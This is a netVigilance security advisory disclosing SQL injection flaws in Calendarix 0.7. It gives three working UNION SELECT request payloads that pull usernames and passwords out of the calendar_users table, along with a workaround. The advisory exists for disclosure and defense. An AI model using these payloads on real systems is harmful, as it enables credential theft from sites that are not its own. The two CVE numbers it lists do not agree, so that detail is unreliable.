netVigilance Security Advisory #38
Calendarix version 0.7. 20070307 Multiple SQL Injection Vulnerabilities
Description:
Calendarix is a powerful and easy to use calendar based on PHP and MySQL. It has been developed with ease of use and quick access to information in mind. It provides the user with the quickest possible navigation and accessing the most commonly used functions in the shortest steps.
Successful exploitation requires PHP magic_quotes_gpc set to Off.
External References:
Mitre CVE: CVE-2007-3183
NVD NIST: CVE-2007-3128
OSVDB: 35373
Summary:
Calendarix is a powerful and easy to use calendar based on PHP and MySQL.
A security problems in the product allow attackers to commit SQL injection attacks.
Advisory URL:
http://www.netvigilance.com/advisory0038
Release Date:
06/19/2007
Severity:
Risk: High
CVSS Metrics:
Access Vector: Remote
Access Complexity: High
Authentication: Not-required
Confidentiality Impact: Complete
Integrity Impact: Partial
Availability Impact: Partial
Impact Bias: Confidentiality
CVSS Base Score: 6.8
Target Distribution on Internet: Low
Exploitability: Functional Exploit
Remediation Level: Workaround
Report Confidence: Uncorroborated
Vulnerability Impact: Attack
Host Impact: SQL Injection
SecureScout Testcase ID:
TC 17966
Vulnerable Systems:
Calendarix version 0.7. 20070307
Vulnerability Type:
SQL injection allows malicious people to execute their own SQL scripts. This could be exploited to obtain sensitive data, modify database contents or acquire administrator's privileges.
Vendor:
Vincent Hor (Calendarix Enterprise)
Vendor Status:
Vincent Hor of Calendarix Enterprise was not interested in coordinating release of Patch and Security Advisory, There is no official solution at this time.
Workaround:
In the php.ini file set magic_quotes_gpc = On.
Example:
SQL Injection Attack Vulnerability 1:
REQUEST:
http://[TARGET]/[PRODUCT-DIRECTORY]/calendar.php?month=' UNION SELECT 1, 1, `password`, `username` ,1 FROM `calendar_users` %23
REPLY:
...<table class=eventborder border=1 cellspacing=0 cellpadding=0 width='100%'><tr><td align=center class=eventtimeborder valign=top><div class=smallcalevtime>[SQL INJECTION RESULT: ADMIN NAME]<br/>1</td><td align=left valign=top width='80%' class=eventborder><a class=smallcalev href="Javascript:void(0);" onclick="Javascript:popup(1);">[SQL INJECTION RESULT: ADMIN PASSWORD]</a></td></tr></table><tr><td align=center valign=top>
...
<table class=eventborder border=1 cellspacing=0 cellpadding=0 width='100%'><tr><td align=center class=eventtimeborder valign=top><div class=smallcalevtime>[SQL INJECTION RESULT: ALL USERs NAME]<br/>1</td><td align=left valign=top width='80%' class=eventborder><a class=smallcalev href="Javascript:void(0);" onclick="Javascript:popup(1);">[SQL INJECTION RESULT: ALL USERS PASSWORD]</a></td></tr></table></table>...
SQL Injection Attack Vulnerability 2:
REQUEST:
http://[TARGET]/[PRODUCT-DIRECTORY]/calendar.php?month=&year=' UNION SELECT 1, 1, `password`, `username` ,1 FROM `calendar_users` %23
REPLY:
<div class=smallcalevtime>[SQL INJECTION RESULT: ADMIN NAME] ...[SQL INJECTION RESULT: ADMIN PASSWORD]</a>
...
<div class=smallcalevtime>[SQL INJECTION RESULT: ALL USERs NAME]...[SQL INJECTION RESULT: ALL USERS PASSWORD]</a>...
SQL Injection Attack Vulnerability 3:
REQUEST:
http://[TARGET]/[PRODUCT-DIRECTORY]/cal_search.php
in the search string enter: %') UNION SELECT 1,1,CONCAT(`username`,`password`),1,1,1,1,1 FROM `calendar_users` #
press button "Search"
REPLY:
...<div class=searchtextfont>[SQL INJECTION RESULT: ADMIN NAME ADMIN PASSWORD]. ...</div>...
Credits:
Jesper Jurcenoks
Co-founder netVigilance, Inc
www.netvigilance.com
??
??
??
??